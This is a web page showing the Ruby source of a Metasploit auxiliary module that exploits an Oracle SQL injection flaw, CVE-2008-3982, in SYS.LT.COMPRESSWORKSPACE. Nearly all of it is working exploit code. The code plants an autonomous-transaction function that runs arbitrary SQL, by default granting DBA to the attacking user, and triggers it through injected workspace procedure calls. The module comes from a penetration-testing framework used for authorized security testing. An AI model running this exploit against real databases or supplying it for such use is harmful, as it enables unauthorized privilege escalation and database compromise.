Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE',11'Description' => %q{12This module exploits an sql injection flaw in the COMPRESSWORKSPACE13procedure of the PL/SQL package SYS.LT. Any user with execute14privilege on the vulnerable package can exploit this vulnerability.15},16'Author' => [ 'CG' ],17'License' => MSF_LICENSE,18'References' =>19[20[ 'CVE', '2008-3982'],21[ 'OSVDB', '49324'],22[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ]23],24'DisclosureDate' => '2008-10-13'))2526register_options(27[28OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),29])30end3132def run33return if not check_dependencies3435name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)36cruft = Rex::Text.rand_text_alpha_upper(1)3738function = "39CREATE OR REPLACE FUNCTION #{cruft}40RETURN VARCHAR2 AUTHID CURRENT_USER41AS42PRAGMA AUTONOMOUS_TRANSACTION;43BEGIN44EXECUTE IMMEDIATE '#{datastore['SQL']}';45COMMIT;46RETURN '#{cruft}';47END;"4849package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"5051package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"5253clean = "DROP FUNCTION #{cruft}"5455print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")5657print_status("Sending function...")58prepare_exec(function)5960begin61prepare_exec(package1)62prepare_exec(package2)63rescue => e64if ( e.to_s =~ /No Data/ )65print_status("Removing function '#{cruft}'...")66prepare_exec(clean)67else68return69end70end7172end73end747576